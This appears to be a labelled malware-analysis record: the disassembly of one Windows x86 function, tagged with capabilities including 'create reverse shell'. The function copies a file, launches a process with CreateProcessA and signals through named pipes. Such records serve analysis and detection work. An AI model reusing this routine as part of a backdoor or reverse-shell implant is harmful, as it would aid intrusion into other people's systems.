Function at 0x408590
Capabilities:
Connect pipe
Copy file
Create process on windows
Create reverse shell
Read pipe
Write pipe

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420fc5
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x190
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x144], ecx
xorps xmm0, xmm0
mov dword [ebp - 0x128], 0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
mov dword [ebp - 4], 0
mov eax, dword [0x42de5c]
mov dword [ebp - 0x13c], eax
test eax, eax
jne 0x40863f
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x13c], eax
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00401230
mov byte [ebp - 4], 0
mov dword [ebp - 0x13c], eax
mov dword [0x42de5c], eax
lea ecx, [eax + 0x80]
lea edi, [eax + 0x68]
mov dword [ebp - 0x140], ecx
mov eax, ecx
mov edx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x40865a
mov edx, dword [eax]
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x408664
mov ecx, dword [edi]
mov esi, dword [edi + 0x10]
cmp esi, dword [eax + 0x10]
jne 0x40870c
sub esi, 4
jb 0x408686
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40868b
add ecx, 4
add edx, 4
sub esi, 4
jae 0x408675
cmp esi, 0xfffffffc
je 0x4086bf
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4086b8
cmp esi, 0xfffffffd
je 0x4086bf
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4086b8
cmp esi, 0xfffffffe
je 0x4086bf
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4086b8
cmp esi, 0xffffffff
je 0x4086bf
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4086bf
sbb eax, eax
or eax, 1
jmp 0x4086c1
xor eax, eax
test eax, eax
jne 0x408706
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x4086ff
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4086f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4088d3
push ecx
push edx
call fcn.004094ef
add esp, 8
mov al, 1
jmp 0x408867
mov eax, dword [ebp - 0x140]
cmp dword [eax + 0x14], 0xf
jbe 0x408714
mov eax, dword [eax]
cmp dword [edi + 0x14], 0xf
jbe 0x40871c
mov edi, dword [edi]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40882f
mov esi, dword [ebp - 0x13c]
mov ecx, esi
call fcn.004022b0
test al, al
je 0x40882f
cmp dword [esi + 0x94], 0xf
lea eax, [esi + 0x80]
xorps xmm0, xmm0
mov dword [ebp - 0x190], 0x44
movlpd qword [ebp - 0x18c], xmm0
movlpd qword [ebp - 0x184], xmm0
movlpd qword [ebp - 0x17c], xmm0
movlpd qword [ebp - 0x174], xmm0
movlpd qword [ebp - 0x16c], xmm0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movups xmmword [ebp - 0x1a0], xmm0
jbe 0x4087a8
mov eax, dword [eax]
lea ecx, [ebp - 0x1a0]
push ecx
lea ecx, [ebp - 0x190]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40882f
mov edi, dword [ebp - 0x144]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov dword [edi], 0
mov word [ebp - 0x120], ax
mov ecx, esi
lea eax, [ebp - 0x138]
push eax
call fcn.00401fc0
lea ecx, [ebp - 0x138]
call fcn.00402e10
lea edx, [ebp - 0x11e]
sub edx, eax
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
je 0x408885
jmp 0x408820
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x408865
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40885b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4088d3
push ecx
push edx
call fcn.004094ef
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004094b1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
lea ecx, [edi + 4]
call fcn.00402e10
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
lea eax, [ebp - 0x148]
push eax
push 0
push 0
push 0x106
lea eax, [ebp - 0x120]
push eax
lea ecx, [edi + 4]
call fcn.00402e10
push eax
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov ecx, edi
call fcn.00408570
call fcn.00410479
int3